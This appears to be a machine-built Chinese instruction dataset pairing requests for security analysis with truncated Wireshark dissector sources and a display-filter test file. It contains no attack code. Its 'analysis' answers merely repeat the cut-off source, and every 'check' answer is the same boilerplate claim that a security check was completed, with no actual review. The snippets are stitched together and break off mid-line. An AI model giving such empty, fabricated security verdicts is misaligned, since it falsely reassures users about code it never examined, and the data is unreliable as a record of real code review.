 * Dissector for Gigamon Header and Trailer
 * Copyright Gigamon 2010
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/prefs.h>
#include <epan/in_cksum.h>
#include <epan/crc32-tvb.h>
#include <wsutil/crc32.h>
#include <wsutil/pint.h>
#include <epan/expert.h>

#include "packet-ieee8023.h"

void proto_register_gmhdr(void);
void proto_reg_handoff_gmhdr(void);

static dissector_handle_t gmhdr_handle;

#define GMHDR_FTYPE_PKTSIZE             1
#define GMHDR_FTYPE_SRCPORT_G           2
#define GMHDR_FTYPE_TIMESTAMP_LOCAL     3
#define GMHDR_FTYPE_TIMESTAMP_NTP       4
#define GMHDR_FTYPE_TIMESTAMP_GPS       5
#define GMHDR_FTYPE_TIMESTAMP_1588      6
#define GMHDR_FTYPE_FCS                 7
#define GMHDR_FTYPE_SRCPORT_H           8

static const value_string gmhdr_ftype_timestamp[] = {
  { GMHDR_FTYPE_TIMESTAMP_LOCAL, "Local" },
  { GMHDR_FTYPE_TIMESTAMP_NTP,   "NTP" },
  { GMHDR_FTYPE_TIMESTAMP_GPS,   "GPS" },
  { GMHDR_FTYPE_TIMESTAMP_1588,  "1588" },
  { 0,                           NULL }
};

#define GMHDR_SRCPORT_G_PLFM_MASK   0xf80000
#define GMHDR_SRCPORT_G_GID_MASK    0x078000
#define GMHDR_SRCPORT_G_BID_MASK    0x007c00
#define GMHDR_SRCPORT_G_PID_MASK    0x0003ff
#define GMHDR_SRCPORT_G_PLFM_SHFT   19
#define GMHDR_SRCPORT_G_GID_SHFT    15
#define GMHDR_SRCPORT_G_BID_SHFT    10
#define GMHDR_SRCPORT_G_PID_SHFT    0

#define GMHDR_SRCPORT_H_PLFM_MASK   0xFC000000
#define GMHDR_SRCPORT_H_GID_MASK    0x03C00000
#define GMHDR_SRCPORT_H_BID_MASK    0x003F0000
#define GMHDR_SRCPORT_H_SID_MASK    0x0000FC00
#define GMHDR_SRCPORT_H_PID_MASK    0x000003FF
#define GMHDR_SRCPORT_H_PLFM_SHFT   26
#define GMHDR_SRCPORT_H_GID_SHFT    20
#define GMHDR_SRCPORT_H_BID_SHFT    16
#defi...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-llc.c
 * Routines for IEEE 802.2 LLC layer
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <wsutil/pint.h>
#include <epan/oui.h>
#include <epan/xdlc.h>
#include <epan/llcsaps.h>
#include <epan/bridged_pids.h>
#include <epan/ppptypes.h>
#include <epan/arcnet_pids.h>
#include <epan/nlpid.h>
#include <epan/addr_resolv.h>
#include "packet-fc.h"
#include "packet-ip.h"
#include "packet-ipx.h"
#include "packet-netbios.h"
#include "packet-sll.h"
#include "packet-juniper.h"

#include "packet-llc.h"

void proto_register_basicxid(void);
void proto_register_llc(void);
void proto_reg_handoff_llc(void);

#define UDP_PORT_LLC_RANGE   "12000-12004"

static int proto_llc = -1;
static int hf_llc_dsap = -1;
static int hf_llc_ssap = -1;
static int hf_llc_dsap_sap = -1;
static int hf_llc_dsap_ig = -1;
static int hf_llc_ssap_sap = -1;
static int hf_llc_ssap_cr = -1;
static int hf_llc_ctrl = -1;
static int hf_llc_n_r = -1;
static int hf_llc_n_s = -1;
static int hf_llc_p = -1;
static int hf_llc_p_ext = -1;
static int hf_llc_f = -1;
static int hf_llc_f_ext = -1;
static int hf_llc_s_ftype = -1;
static int hf_llc_u_modifier_cmd = -1;
static int hf_llc_u_modifier_resp = -1;
static int hf_llc_ftype_i = -1;
static int hf_llc_ftype_s_u = -1;
static int hf_llc_ftype_s_u_ext = -1;
static int hf_llc_type = -1;
static int hf_llc_oui = -1;
static int hf_llc_pid = -1;

static int proto_basicxid = -1;
static int hf_llc_xid_format = -1;
static int hf_llc_xid_types = -1;
static int hf_llc_xid_wsize = -1;

static gint ett_llc = -1;
static gint ett_llc_dsap = -1;
static gint ett_llc_ssap = -1;
static gint ett_llc_ctrl = -1;
static gint ett_llc_basicxid = -1;

static dissector_table_t dsap_subdissector_table;
static dissector_table_t xid_subdissect...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-llc.c
 * Routines for IEEE 802.2 LLC layer
 * Gilbert Ramirez <gram@alumni.rice.edu>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <wsutil/pint.h>
#include <epan/oui.h>
#include <epan/xdlc.h>
#include <epan/llcsaps.h>
#include <epan/bridged_pids.h>
#include <epan/ppptypes.h>
#include <epan/arcnet_pids.h>
#include <epan/nlpid.h>
#include <epan/addr_resolv.h>
#include "packet-fc.h"
#include "packet-ip.h"
#include "packet-ipx.h"
#include "packet-netbios.h"
#include "packet-sll.h"
#include "packet-juniper.h"

#include "packet-llc.h"

void proto_register_basicxid(void);
void proto_register_llc(void);
void proto_reg_handoff_llc(void);

#define UDP_PORT_LLC_RANGE   "12000-12004"

static int proto_llc = -1;
static int hf_llc_dsap = -1;
static int hf_llc_ssap = -1;
static int hf_llc_dsap_sap = -1;
static int hf_llc_dsap_ig = -1;
static int hf_llc_ssap_sap = -1;
static int hf_llc_ssap_cr = -1;
static int hf_llc_ctrl = -1;
static int hf_llc_n_r = -1;
static int hf_llc_n_s = -1;
static int hf_llc_p = -1;
static int hf_llc_p_ext = -1;
static int hf_llc_f = -1;
static int hf_llc_f_ext = -1;
static int hf_llc_s_ftype = -1;
static int hf_llc_u_modifier_cmd = -1;
static int hf_llc_u_modifier_resp = -1;
static int hf_llc_ftype_i = -1;
static int hf_llc_ftype_s_u = -1;
static int hf_llc_ftype_s_u_ext = -1;
static int hf_llc_type = -1;
static int hf_llc_oui = -1;
static int hf_llc_pid = -1;

static int proto_basicxid = -1;
static int hf_llc_xid_format = -1;
static int hf_llc_xid_types = -1;
static int hf_llc_xid_wsize = -1;

static gint ett_llc = -1;
static gint ett_llc_dsap = -1;
static gint ett_llc_ssap = -1;
static gint ett_llc_ctrl = -1;
static gint ett_llc_basicxid = -1;

static dissector_table_t dsap_subdissector_table;
static dissector_table_t xid_subdissect...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-usb-com.c
 * Routines for USB Communications and CDC Control dissection
 * Copyright 2013, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-usb.h"

/* protocols and header fields */
static int proto_usb_com = -1;
static int hf_usb_com_descriptor_subtype = -1;
static int hf_usb_com_descriptor_cdc = -1;
static int hf_usb_com_descriptor_payload = -1;
static int hf_usb_com_control_subclass = -1;
static int hf_usb_com_control_request_code = -1;
static int hf_usb_com_control_value = -1;
static int hf_usb_com_control_index = -1;
static int hf_usb_com_control_length = -1;
static int hf_usb_com_control_response_code = -1;
static int hf_usb_com_control_payload = -1;
static int hf_usb_com_get_ntb_params_length = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported_16bit = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported_32bit = -1;
static int hf_usb_com_get_ntb_params_ntb_in_max_size = -1;
static int hf_usb_com_get_ntb_params_ndp_in_divisor = -1;
static int hf_usb_com_get_ntb_params_ndp_in_payload_remainder = -1;
static int hf_usb_com_get_ntb_params_ndp_in_alignment = -1;
static int hf_usb_com_get_ntb_params_reserved = -1;
static int hf_usb_com_get_ntb_params_ntb_out_max_size = -1;
static int hf_usb_com_get_ntb_params_ndp_out_divisor = -1;
static int hf_usb_com_get_ntb_params_ndp_out_payload_remainder = -1;
static int hf_usb_com_get_ntb_params_ndp_out_alignment = -1;
static int hf_usb_com_get_ntb_params_ntb_out_max_datagrams = -1;
static int hf_usb_com_get_net_address_eui48 = -1;
static int hf_usb_com_set_net_address_eui48 = -1;
static int hf_usb_com_get_ntb_format_ntb_format = -1;
static int hf_usb_com_set_ntb_format_ntb_format = -1;
sta...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-usb-com.c
 * Routines for USB Communications and CDC Control dissection
 * Copyright 2013, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include "packet-usb.h"

/* protocols and header fields */
static int proto_usb_com = -1;
static int hf_usb_com_descriptor_subtype = -1;
static int hf_usb_com_descriptor_cdc = -1;
static int hf_usb_com_descriptor_payload = -1;
static int hf_usb_com_control_subclass = -1;
static int hf_usb_com_control_request_code = -1;
static int hf_usb_com_control_value = -1;
static int hf_usb_com_control_index = -1;
static int hf_usb_com_control_length = -1;
static int hf_usb_com_control_response_code = -1;
static int hf_usb_com_control_payload = -1;
static int hf_usb_com_get_ntb_params_length = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported_16bit = -1;
static int hf_usb_com_get_ntb_params_ntb_formats_supported_32bit = -1;
static int hf_usb_com_get_ntb_params_ntb_in_max_size = -1;
static int hf_usb_com_get_ntb_params_ndp_in_divisor = -1;
static int hf_usb_com_get_ntb_params_ndp_in_payload_remainder = -1;
static int hf_usb_com_get_ntb_params_ndp_in_alignment = -1;
static int hf_usb_com_get_ntb_params_reserved = -1;
static int hf_usb_com_get_ntb_params_ntb_out_max_size = -1;
static int hf_usb_com_get_ntb_params_ndp_out_divisor = -1;
static int hf_usb_com_get_ntb_params_ndp_out_payload_remainder = -1;
static int hf_usb_com_get_ntb_params_ndp_out_alignment = -1;
static int hf_usb_com_get_ntb_params_ntb_out_max_datagrams = -1;
static int hf_usb_com_get_net_address_eui48 = -1;
static int hf_usb_com_set_net_address_eui48 = -1;
static int hf_usb_com_get_ntb_format_ntb_format = -1;
static int hf_usb_com_set_ntb_format_ntb_format = -1;
sta...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-openflow_v4.c
 * Routines for OpenFlow dissection
 * Copyright 2013, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2013, Zoltan Lajos Kis <zoltan.lajos.kis@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref https://www.opennetworking.org/sdn-resources/onf-specifications/openflow
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/expert.h>
#include <epan/ipproto.h>

void proto_register_openflow_v4(void);
void proto_reg_handoff_openflow_v4(void);
static int dissect_openflow_message_v4(tvbuff_t *, packet_info *, proto_tree *, int);

static dissector_handle_t eth_withoutfcs_handle;

static int proto_openflow_v4 = -1;
static int hf_openflow_v4_version = -1;
static int hf_openflow_v4_type = -1;
static int hf_openflow_v4_length = -1;
static int hf_openflow_v4_xid = -1;
static int hf_openflow_v4_oxm_class = -1;
static int hf_openflow_v4_oxm_field = -1;
static int hf_openflow_v4_oxm_field_basic = -1;
static int hf_openflow_v4_oxm_hm = -1;
static int hf_openflow_v4_oxm_length = -1;
static int hf_openflow_v4_oxm_experimenter_experimenter = -1;
static int hf_openflow_v4_oxm_experimenter_value = -1;
static int hf_openflow_v4_oxm_value = -1;
static int hf_openflow_v4_oxm_value_etheraddr = -1;
static int hf_openflow_v4_oxm_value_vlan_present = -1;
static int hf_openflow_v4_oxm_value_vlan_vid = -1;
static int hf_openflow_v4_oxm_value_ethertype = -1;
static int hf_openflow_v4_oxm_value_ipv4addr = -1;
static int hf_openflow_v4_oxm_value_ipv6addr = -1;
static int hf_openflow_v4_oxm_value_ipproto = -1;
static int hf_openflow_v4_oxm_value_uint16 = -1;
static int hf_openflow_v4_oxm_value_uint24 = -1;
static int hf_openflow_v4_oxm_value_uint32 = -1;
static int hf_openflow_v4_oxm_mask = -1;
static int hf_openflow_v4_oxm_mask_etheraddr = -1;
static int hf_openflow_v4_oxm_mask_ipv4addr = -1;
static...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-openflow_v4.c
 * Routines for OpenFlow dissection
 * Copyright 2013, Anders Broman <anders.broman@ericsson.com>
 * Copyright 2013, Zoltan Lajos Kis <zoltan.lajos.kis@ericsson.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * Ref https://www.opennetworking.org/sdn-resources/onf-specifications/openflow
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/etypes.h>
#include <epan/expert.h>
#include <epan/ipproto.h>

void proto_register_openflow_v4(void);
void proto_reg_handoff_openflow_v4(void);
static int dissect_openflow_message_v4(tvbuff_t *, packet_info *, proto_tree *, int);

static dissector_handle_t eth_withoutfcs_handle;

static int proto_openflow_v4 = -1;
static int hf_openflow_v4_version = -1;
static int hf_openflow_v4_type = -1;
static int hf_openflow_v4_length = -1;
static int hf_openflow_v4_xid = -1;
static int hf_openflow_v4_oxm_class = -1;
static int hf_openflow_v4_oxm_field = -1;
static int hf_openflow_v4_oxm_field_basic = -1;
static int hf_openflow_v4_oxm_hm = -1;
static int hf_openflow_v4_oxm_length = -1;
static int hf_openflow_v4_oxm_experimenter_experimenter = -1;
static int hf_openflow_v4_oxm_experimenter_value = -1;
static int hf_openflow_v4_oxm_value = -1;
static int hf_openflow_v4_oxm_value_etheraddr = -1;
static int hf_openflow_v4_oxm_value_vlan_present = -1;
static int hf_openflow_v4_oxm_value_vlan_vid = -1;
static int hf_openflow_v4_oxm_value_ethertype = -1;
static int hf_openflow_v4_oxm_value_ipv4addr = -1;
static int hf_openflow_v4_oxm_value_ipv6addr = -1;
static int hf_openflow_v4_oxm_value_ipproto = -1;
static int hf_openflow_v4_oxm_value_uint16 = -1;
static int hf_openflow_v4_oxm_value_uint24 = -1;
static int hf_openflow_v4_oxm_value_uint32 = -1;
static int hf_openflow_v4_oxm_mask = -1;
static int hf_openflow_v4_oxm_mask_etheraddr = -1;
static int hf_openflow_v4_oxm_mask_ipv4addr = -1;
static...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gsm_sim.c
 * Routines for packet dissection of GSM SIM APDUs (GSM TS 11.11)
 *
 *	GSM TS 11.11 / 3GPP TS 51.011
 * 	3GPP TS 31.102
 * Copyright 2010-2011 by Harald Welte <laforge@gnumonks.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-gsmtap.h"

void proto_register_gsm_sim(void);
void proto_reg_handoff_gsm_sim(void);

static int proto_gsm_sim = -1;

/* ISO 7816-4 APDU */
static int hf_apdu_cla_coding = -1;
static int hf_apdu_cla_coding_ext = -1;
static int hf_apdu_cla_secure_messaging_ind = -1;
static int hf_apdu_cla_secure_messaging_ind_ext = -1;
static int hf_apdu_cla_log_chan = -1;
static int hf_apdu_cla_log_chan_ext = -1;
static int hf_apdu_ins = -1;
static int hf_apdu_p1 = -1;
static int hf_apdu_p2 = -1;
static int hf_apdu_p3 = -1;
static int hf_apdu_data = -1;
static int hf_apdu_sw = -1;

static int hf_file_id = -1;
static int hf_aid = -1;
static int hf_bin_offset = -1;
static int hf_record_nr = -1;
static int hf_auth_rand = -1;
static int hf_auth_sres = -1;
static int hf_auth_kc = -1;
static int hf_chan_op = -1;
static int hf_chan_nr = -1;
static int hf_le = -1;

/* Chapter 5.2 TS 11.14 and TS 31.111 */
static int hf_tprof_b1 = -1;
static int hf_tprof_b2 = -1;
static int hf_tprof_b3 = -1;
static int hf_tprof_b4 = -1;
static int hf_tprof_b5 = -1;
static int hf_tprof_b6 = -1;
static int hf_tprof_b7 = -1;
static int hf_tprof_b8 = -1;
static int hf_tprof_b9 = -1;
static int hf_tprof_b10 = -1;
static int hf_tprof_b11 = -1;
static int hf_tprof_b12 = -1;
static int hf_tprof_b13 = -1;
static int hf_tprof_b14 = -1;
static int hf_tprof_b15 = -1;
static int hf_tprof_b16 = -1;
static int hf_tprof_b17 = -1;
static int hf_tprof_b18 = -1;
static int hf_tprof_b19 = -1;
static int hf_tprof_b20 = -1;
static int hf_tprof_b21 = -1;
static int hf_tprof_b22 = -1;
static int hf_tprof_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gsm_sim.c
 * Routines for packet dissection of GSM SIM APDUs (GSM TS 11.11)
 *
 *	GSM TS 11.11 / 3GPP TS 51.011
 * 	3GPP TS 31.102
 * Copyright 2010-2011 by Harald Welte <laforge@gnumonks.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#include "packet-gsmtap.h"

void proto_register_gsm_sim(void);
void proto_reg_handoff_gsm_sim(void);

static int proto_gsm_sim = -1;

/* ISO 7816-4 APDU */
static int hf_apdu_cla_coding = -1;
static int hf_apdu_cla_coding_ext = -1;
static int hf_apdu_cla_secure_messaging_ind = -1;
static int hf_apdu_cla_secure_messaging_ind_ext = -1;
static int hf_apdu_cla_log_chan = -1;
static int hf_apdu_cla_log_chan_ext = -1;
static int hf_apdu_ins = -1;
static int hf_apdu_p1 = -1;
static int hf_apdu_p2 = -1;
static int hf_apdu_p3 = -1;
static int hf_apdu_data = -1;
static int hf_apdu_sw = -1;

static int hf_file_id = -1;
static int hf_aid = -1;
static int hf_bin_offset = -1;
static int hf_record_nr = -1;
static int hf_auth_rand = -1;
static int hf_auth_sres = -1;
static int hf_auth_kc = -1;
static int hf_chan_op = -1;
static int hf_chan_nr = -1;
static int hf_le = -1;

/* Chapter 5.2 TS 11.14 and TS 31.111 */
static int hf_tprof_b1 = -1;
static int hf_tprof_b2 = -1;
static int hf_tprof_b3 = -1;
static int hf_tprof_b4 = -1;
static int hf_tprof_b5 = -1;
static int hf_tprof_b6 = -1;
static int hf_tprof_b7 = -1;
static int hf_tprof_b8 = -1;
static int hf_tprof_b9 = -1;
static int hf_tprof_b10 = -1;
static int hf_tprof_b11 = -1;
static int hf_tprof_b12 = -1;
static int hf_tprof_b13 = -1;
static int hf_tprof_b14 = -1;
static int hf_tprof_b15 = -1;
static int hf_tprof_b16 = -1;
static int hf_tprof_b17 = -1;
static int hf_tprof_b18 = -1;
static int hf_tprof_b19 = -1;
static int hf_tprof_b20 = -1;
static int hf_tprof_b21 = -1;
static int hf_tprof_b22 = -1;
static int hf_tprof_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2013 by Gilbert Ramirez <gram@alumni.rice.edu>
#
# SPDX-License-Identifier: GPL-2.0-or-later

import pytest
from suite_dfilter.dfiltertest import *

class TestDfilterString:
    trace_file = "http.pcap"

    def test_eq_1(self, checkDFilterCount):
        dfilter = 'http.request.method == "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_eq_2(self, checkDFilterCount):
        dfilter = 'http.request.method == "POST"'
        checkDFilterCount(dfilter, 0)

    def test_gt_1(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAC"'
        checkDFilterCount(dfilter, 1)

    def test_gt_2(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAD"'
        checkDFilterCount(dfilter, 0)

    def test_gt_3(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAE"'
        checkDFilterCount(dfilter, 0)

    def test_ge_1(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAC"'
        checkDFilterCount(dfilter, 1)

    def test_ge_2(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_ge_3(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAE"'
        checkDFilterCount(dfilter, 0)

    def test_lt_1(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAC"'
        checkDFilterCount(dfilter, 0)

    def test_lt_2(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAD"'
        checkDFilterCount(dfilter, 0)

    def test_lt_3(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAE"'
        checkDFilterCount(dfilter, 1)

    def test_le_1(self, checkDFilterCount):
        dfilter = 'http.request.method <= "HEAC"'
        checkDFilterCount(dfilter, 0)

    def test_le_2(self, checkDFilterCount):
        dfilter = 'http.request.method <= "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_le_3(self, checkDFilterCount):
        df...


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2013 by Gilbert Ramirez <gram@alumni.rice.edu>
#
# SPDX-License-Identifier: GPL-2.0-or-later

import pytest
from suite_dfilter.dfiltertest import *

class TestDfilterString:
    trace_file = "http.pcap"

    def test_eq_1(self, checkDFilterCount):
        dfilter = 'http.request.method == "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_eq_2(self, checkDFilterCount):
        dfilter = 'http.request.method == "POST"'
        checkDFilterCount(dfilter, 0)

    def test_gt_1(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAC"'
        checkDFilterCount(dfilter, 1)

    def test_gt_2(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAD"'
        checkDFilterCount(dfilter, 0)

    def test_gt_3(self, checkDFilterCount):
        dfilter = 'http.request.method > "HEAE"'
        checkDFilterCount(dfilter, 0)

    def test_ge_1(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAC"'
        checkDFilterCount(dfilter, 1)

    def test_ge_2(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_ge_3(self, checkDFilterCount):
        dfilter = 'http.request.method >= "HEAE"'
        checkDFilterCount(dfilter, 0)

    def test_lt_1(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAC"'
        checkDFilterCount(dfilter, 0)

    def test_lt_2(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAD"'
        checkDFilterCount(dfilter, 0)

    def test_lt_3(self, checkDFilterCount):
        dfilter = 'http.request.method < "HEAE"'
        checkDFilterCount(dfilter, 1)

    def test_le_1(self, checkDFilterCount):
        dfilter = 'http.request.method <= "HEAC"'
        checkDFilterCount(dfilter, 0)

    def test_le_2(self, checkDFilterCount):
        dfilter = 'http.request.method <= "HEAD"'
        checkDFilterCount(dfilter, 1)

    def test_le_3(self, checkDFilterCount):
        df...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-e1ap.c                                                              */
/* asn2wrs.py -L -p e1ap -c ./e1ap.cnf -s ./packet-e1ap-template -D . -O ../.. E1AP-CommonDataTypes.asn E1AP-Constants.asn E1AP-Containers.asn E1AP-IEs.asn E1AP-PDU-Contents.asn E1AP-PDU-Descriptions.asn */

/* packet-e1ap.c
 * Routines for E-UTRAN E1 Application Protocol (E1AP) packet dissection
 * Copyright 2018-2023, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: 3GPP TS 37.483 V17.5.0 (2023-06)
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include <epan/sctpppids.h>
#include <epan/proto_data.h>

#include "packet-e1ap.h"
#include "packet-per.h"
#include "packet-e212.h"
#include "packet-ntp.h"
#include "packet-nr-rrc.h"
#include "packet-tcp.h"

#define PNAME  "E1 Application Protocol"
#define PSNAME "E1AP"
#define PFNAME "e1ap"

#define SCTP_PORT_E1AP 38462

void proto_register_e1ap(void);
void proto_reg_handoff_e1ap(void);

#define maxPrivateIEs                  65535
#define maxProtocolExtensions          65535
#define maxProtocolIEs                 65535
#define maxnoofErrors                  256
#define maxnoofSPLMNs                  12
#define maxnoofSliceItems              1024
#define maxnoofIndividualE1ConnectionsToReset 65536
#define maxnoofEUTRANQOSParameters     256
#define maxnoofNGRANQOSParameters      256
#define maxnoofDRBs                    32
#define maxnoofNRCGI                   512
#define maxnoofPDUSessionResource      256
#define maxnoofQoSFlows                64
#define maxnoofUPParameters            8
#define maxnoofCellGroups              4
#define maxnooftimeperiods             2
#define maxnoofTNLAs...


Instruction: 检查这段代码是否存在安全问题

Input:
/* Do not modify this file. Changes will be overwritten.                      */
/* Generated automatically by the ASN.1 to Wireshark dissector compiler       */
/* packet-e1ap.c                                                              */
/* asn2wrs.py -L -p e1ap -c ./e1ap.cnf -s ./packet-e1ap-template -D . -O ../.. E1AP-CommonDataTypes.asn E1AP-Constants.asn E1AP-Containers.asn E1AP-IEs.asn E1AP-PDU-Contents.asn E1AP-PDU-Descriptions.asn */

/* packet-e1ap.c
 * Routines for E-UTRAN E1 Application Protocol (E1AP) packet dissection
 * Copyright 2018-2023, Pascal Quantin <pascal@wireshark.org>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 *
 * References: 3GPP TS 37.483 V17.5.0 (2023-06)
 */

#include "config.h"

#include <epan/packet.h>

#include <epan/asn1.h>
#include <epan/sctpppids.h>
#include <epan/proto_data.h>

#include "packet-e1ap.h"
#include "packet-per.h"
#include "packet-e212.h"
#include "packet-ntp.h"
#include "packet-nr-rrc.h"
#include "packet-tcp.h"

#define PNAME  "E1 Application Protocol"
#define PSNAME "E1AP"
#define PFNAME "e1ap"

#define SCTP_PORT_E1AP 38462

void proto_register_e1ap(void);
void proto_reg_handoff_e1ap(void);

#define maxPrivateIEs                  65535
#define maxProtocolExtensions          65535
#define maxProtocolIEs                 65535
#define maxnoofErrors                  256
#define maxnoofSPLMNs                  12
#define maxnoofSliceItems              1024
#define maxnoofIndividualE1ConnectionsToReset 65536
#define maxnoofEUTRANQOSParameters     256
#define maxnoofNGRANQOSParameters      256
#define maxnoofDRBs                    32
#define maxnoofNRCGI                   512
#define maxnoofPDUSessionResource      256
#define maxnoofQoSFlows                64
#define maxnoofUPParameters            8
#define maxnoofCellGroups              4
#define maxnooftimeperiods             2
#define maxnoofTNLAs...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-infiniband_sdp.c
 * Routines for Infiniband Sockets Direct Protocol dissection
 * Copyright 2010, Mellanox Technologies Ltd.
 * Code by Amir Vadai and Slava Koyfman.
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/conversation.h>

#include "packet-infiniband.h"

void proto_register_ib_sdp(void);
void proto_reg_handoff_ib_sdp(void);

static dissector_handle_t ib_sdp_handle;

/* If the service-id is non-zero after being ANDed with the following mask then
   this is SDP traffic */
#define SERVICE_ID_MASK 0x0000000000010000

static int proto_infiniband = -1;   /* we'll need the Infiniband protocol index for conversation data */

/* Initialize the protocol and registered fields... */
static int proto_ib_sdp = -1;

/* IB SDP BSDH Header */
static int hf_ib_sdp_bsdh = -1;
static int hf_ib_sdp_mid = -1;
static int hf_ib_sdp_flags = -1;
static int hf_ib_sdp_flags_oobpres  = -1;
static int hf_ib_sdp_flags_oob_pend = -1;
static int hf_ib_sdp_flags_reqpipe  = -1;

static int hf_ib_sdp_len = -1;
static int hf_ib_sdp_bufs = -1;
static int hf_ib_sdp_mseq = -1;
static int hf_ib_sdp_mseqack = -1;

/* IB SDP Hello Header */
static int hf_ib_sdp_hh = -1;
static int hf_ib_sdp_majv = -1;
static int hf_ib_sdp_minv = -1;
static int hf_ib_sdp_ipv = -1;
static int hf_ib_sdp_cap = -1;
static int hf_ib_sdp_cap_invalidate = -1;
static int hf_ib_sdp_cap_extmaxadverts = -1;
static int hf_ib_sdp_maxadverts = -1;
static int hf_ib_sdp_desremrcvsz = -1;
static int hf_ib_sdp_localrcvsz = -1;
static int hf_ib_sdp_localport = -1;
static int hf_ib_sdp_src_ip = -1;
static int hf_ib_sdp_dst_ip = -1;
static int hf_ib_sdp_extmaxadverts = -1;
static int hf_ib_sdp_hah = -1;
static int hf_ib_sdp_rwch = -1;
static int hf_ib_sdp_rrch = -1;
static int hf_ib_sdp_mch = -1;
static in...


